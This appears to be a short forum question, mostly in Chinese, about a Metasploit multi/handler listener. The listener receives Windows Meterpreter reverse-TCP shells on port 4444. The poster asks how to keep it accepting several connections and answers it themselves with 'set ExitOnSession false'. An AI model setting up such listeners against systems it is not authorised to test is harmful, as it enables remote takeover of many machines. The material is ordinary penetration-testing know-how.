对多个连接执行一次 运行 -jz

execute run -jz once for multiple connections

我正在使用以下代码等待客户端连接。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.1
set lport 4444
run -jz

问题是:建立一个连接后,端口监听就停止了。它导致后续连接失败。建立连接后,我必须一次又一次地手动输入 run -jz

有什么方法可以只输入一次命令继续监听端口吗?

ps:Manjaro Llinux 与 Metasploit5-dev

找到解决方案:在 "run -jz" 之前执行 "set ExitOnSession false"。这就是我需要的。